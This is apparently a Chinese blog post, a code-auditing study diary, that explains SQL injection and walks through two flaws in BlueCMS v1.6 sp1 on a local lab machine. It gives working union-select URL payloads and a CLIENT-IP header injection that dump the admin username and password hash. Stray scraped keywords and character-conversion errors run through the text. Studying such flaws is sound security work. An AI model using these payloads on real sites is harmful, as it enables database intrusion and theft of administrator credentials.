PHP代碼審計學習_day3

0x01 PHP代碼審計之SQL注入漏洞

SQL注入的危害

是發生在應用程序的數據庫層上的安全漏洞。
在設計程序時,忽略了對輸入字符串中夾帶的SQL指令的檢查,被數據庫誤覺得是正常的SQL指令而運行,從而使數據庫受到攻擊。php

SQL注入的產生緣由

程序開發過程當中不注意規範書寫sql語句和對特殊字符進行過濾,致使客戶端能夠經過全局變量POST和GET提交一些sql語句正常執行。html

SQL注入的條件

可控制用戶數據的輸入。
原程序要執行的代碼,拼接了用戶輸入的數據。mysql


0x02 bluecms_v1.6_sp1的代碼審計

剛開始接觸代碼審計,就先拿bluecms練練手。
環境搭建
源碼下載地址:https://www.a5xiazai.com/php/17968.html
下載好源碼後,解壓,將uploads文件夾中的文件放入WWW目錄(我用的phpstudy),而後瀏覽器訪問uploads目錄下的install目錄便可開始安裝。
逼話很少說,上號。sql

ad_js.php下的ad id參數存在SQL注入

Seay源代碼審計系統走一波。

進入ad_js.php看看

不知道empty和trim函數的,請自行百度。
從代碼能夠看出ad id直接GET傳參,都不過濾,直接拼接。真的耿直!!!
而後就是下面的getone函數,剛開始我沒見過這個,覺得是php自定的什麼函數,百度了半天,呃,我就是個憨批。。。
在seay中左鍵選中getone,右鍵定位函數,來到了mysql.class.php。

感受還行,沒啥限制。瀏覽器搞一波,看存不存在。

傳參試試

發現了不一樣的地方,F12中的出現了註釋,且頁面上的報錯Error不在了。
先order by判斷一波字段數,發現是7。
再就是看回顯了,payload:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,7

可顯字段爲7,database()獲得數據庫名:bluecms。
爆表名:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()

框中的是咱們的目標。
注:這裏的數據庫名不要用引號加bluecms,由於會將引號轉義,也就是多了個反斜槓(),絕逼報錯,仍是database()香
爆列名:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626c75655f61646d696e

同前面的理由,這裏的表名blue_admin編碼了一下,繞過過濾,美滋滋。
爆字段:http://192.168.63.143/bluecms1.6/uploads/ad_js.php?ad%20id=1%20union%20select%201,2,3,4,5,6,group_concat(admin_name,0x3a,pwd)%20from%20blue_admin

完事,收工!!!說着玩的。。。數據庫

common.fun.php下的getip()存在sql注入


getenv()函數:獲取系統的環境變量。
這裏也就是獲取CLIENT-IP的值或者前者不存在時,獲取XFF的值,後面的依次。
對getip()進行全局搜索,在comment.php中搜索到了,可是直接訪問comment.php是沒有顯示的,由於個人seay這裏中文是亂碼,因此我在源碼中看了看。

猜想是評論的地方,因此須要咱們去隨便寫一條新聞,再去評論。

建立新聞完成,開始評論。(注:這裏下面評論的地方已經有了管理員的帳戶和密碼了,這是我先前實驗的時候弄得,後面我會說清楚得

抓到了我要得數據包後,由於沒有XFF之類,因此本身來添加。

payload:CLIENT-IP: 1','1'),('','6','0','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
這裏得payload要結合前面得瀏覽器

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
 			VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

來理解,payload前面的1','1')是爲了閉合前面的('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', ',payload後面的,('','6','0','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1是爲了閉合後面的', '$is_check')安全


1.payload中的第一個6(前面的截圖裏面是1,我當時沒發現,就不從新弄了,我改爲6了)是和url中的id的數值6相等的,若是不一樣,你就別想在這篇新聞的評論裏面看到用戶名和密碼。
2.數字6以後的0,隨便你改,沒啥用,佔個位就好。
3.數字0以後的1,這裏必須爲1,不能爲0,要否則仍是看不到用戶名和密碼。
4.第二個6是表明不一樣的表情。。。也就是管着爆出用戶名和密碼的那條評論的表情。
後面的不想解釋了,沒啥意思。jsp


而後就是說把CLIENT-IP改成XFF什麼的,我看了一些博客,別個成功了,可是我沒有成功,因此我。。。不弄了,嘿嘿!!!就差很少了,完畢。函數

相關文章
相關標籤/搜索